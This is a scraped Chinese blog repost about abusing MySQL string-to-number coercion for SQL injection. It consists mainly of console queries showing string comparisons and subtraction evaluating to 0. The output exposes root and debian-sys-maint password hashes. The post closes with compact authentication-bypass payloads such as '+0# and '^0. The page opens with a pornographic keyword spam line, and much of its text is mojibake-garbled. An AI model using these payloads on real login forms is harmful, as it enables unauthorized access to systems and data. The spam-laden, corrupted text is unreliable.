日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

Abusing MySQL string arithmetic for tiny SQL injections

發(fā)布時(shí)間:2024/1/1 数据库 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Abusing MySQL string arithmetic for tiny SQL injections 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

測試平臺:????backtrack r3x86
MYSQL版本:? mysql-5.1.63


mysql> select User,Password from user where User=0;
+------------------+-------------------------------------------+
| User???????????? | Password????????????????????????????????? |
+------------------+-------------------------------------------+
| root???????????? | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
| root???????????? | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
| root???????????? | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
| debian-sys-maint | *8C4C424D182238AFBA8B217F692D07C952EF4087 |
+------------------+-------------------------------------------+
4 rows in set, 4 warnings (0.00 sec)

mysql> select User,Password from user where User='';
Empty set (0.00 sec)

mysql> select User,Password from user where User=NULL;
Empty set (0.01 sec)

mysql> select 'w'-'w';
+---------+
| 'w'-'w' |
+---------+
|?????? 0 |
+---------+
1 row in set, 2 warnings (0.00 sec)

mysql> select "w"-"w";
+---------+
| "w"-"w" |
+---------+
|?????? 0 |
+---------+
1 row in set, 2 warnings (0.01 sec)

光看上面的warnings有人可能不信,特作下面的驗(yàn)證.


mysql> create TEMPORARY TABLE temptbl AS SELECT ('A'-'A') AS coll;
Query OK, 1 row affected, 2 warnings (0.01 sec)
Records: 1? Duplicates: 0? Warnings: 0

mysql> describe temptbl;
+-------+--------+------+-----+---------+-------+
| Field | Type?? | Null | Key | Default | Extra |
+-------+--------+------+-----+---------+-------+
| coll? | double | NO?? |???? | 0?????? |?????? |
+-------+--------+------+-----+---------+-------+
1 row in set (0.01 sec)

能完成數(shù)值類型轉(zhuǎn)換的表達(dá)式均可, 例如: select username,password from users where username= '' +0;

類似的”+0,”-0,”*0,”^0均可。 精簡payload可以繞過登錄認(rèn)證:?‘+0#,’/1#,’^0,’-0#等等。




http://www.xaprb.com/blog/2008/08/13/how-to-emulate-the-typeof-function-in-mysql/
http://blog.kotowicz.net/2013/01/abusing-mysql-string-arithmetic-for.html
http://www.freebuf.com/articles/web/6894.html

總結(jié)

以上是生活随笔為你收集整理的Abusing MySQL string arithmetic for tiny SQL injections的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。